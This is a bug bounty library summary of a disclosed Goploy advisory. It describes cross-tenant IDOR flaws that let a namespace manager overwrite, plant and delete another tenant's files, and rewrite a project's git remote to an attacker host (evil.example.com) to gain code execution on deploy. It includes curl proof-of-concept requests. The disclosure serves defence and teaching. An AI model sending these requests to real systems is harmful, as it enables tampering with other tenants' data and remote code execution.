# Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers

Goploy project/file handlers trust body-supplied row ids without namespace checks, letting a tenant manager read, overwrite, delete foreign files and rewrite git remotes to gain RCE.

- Payout: Research
- Severity: critical
- Program: Goploy
- Found by: tonghuaroot
- Disclosed: 2026-07-07
- CVE: CVE-2026-53552
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-26rh-24rg-j3vv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-26rh-24rg-j3vv
- Tags: area:web domain:web impact:data-leak impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:idor vuln:rce

**Target:** Go web app REST API (/project/addFile, editFile, removeFile, edit)
**Root cause:** Handlers pass body-supplied project/project-file ids straight into model lookups that filter only by row id, with no namespace ownership check; hasPermission only validates namespace-level permission ids, not resource ownership.
**Steps:**
1. Deploy goploy:1.17.5 with MySQL schema; create namespaces NS_A (id=1) and NS_B (id=2), users alice and bob both assigned manager (role_id=1) in their own namespace.
2. As admin in NS_A create project id=1 with file alice-secrets.yml (id=1).
3. As bob (NS_B) confirm `GET /project/getList` returns empty list.
4. Overwrite foreign file: `PUT /project/editFile` with `{"id":1,"content":"OWNED BY BOB"}` — file on disk under project_1/ is replaced.
5. Plant file: `POST /project/addFile` with `{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}`.
6. Delete file: `DELETE /project/removeFile` with `{"projectFileId":1}`.
7. Rewrite remote: `PUT /project/edit` with `{"id":1,...,"url":"git@evil.example.com:attacker/payload.git"}` — DB project.url updated; next deploy runs `git remote set-url origin <attacker-url>`.
**How found:** Code review of handler.go: noticed AddFile/EditFile/RemoveFile/Edit decode ids from the request body and call model GetData queries that filter only by id, while hasPermission only checks namespace-level permission ids — no ownership join on namespace_id.
**Exploitation:** A tenant manager in one namespace enumerates/guesses project and file ids and submits them in JSON bodies to the four endpoints. File endpoints give arbitrary read/write/delete of files in other tenants' project directories; the project edit endpoint rewrites the git remote URL, so the next deploy pulls attacker-controlled code and executes it under goploy's user, yielding RCE.
**Escalation:** File-write IDOR chained with git remote URL rewrite to convert cross-tenant data tampering into remote code execution on deploy.
**Insight:** In multi-tenant Go apps, permission middleware that checks role/permission ids per namespace does not imply resource ownership; grep for handlers that take `id`/`projectId` from the body and trace whether the model query joins on the tenant column. Deploy-tooling metadata (git remote URL, deploy scripts) is a high-value IDOR target because it converts to RCE.

## Proof of concept (copied exactly from the original report)

**Bob overwrites Alice's file via editFile**

```
curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
    -d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'
# → {"code":0,"message":"","data":null}

docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
# OWNED BY BOB
# attacker_namespace: ns_b
```

**Bob plants file in Alice's project**

```
curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
    -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
# → {"code":0,"message":"","data":{"id":2}}

docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
# .env.attacker   alice-secrets.yml
```

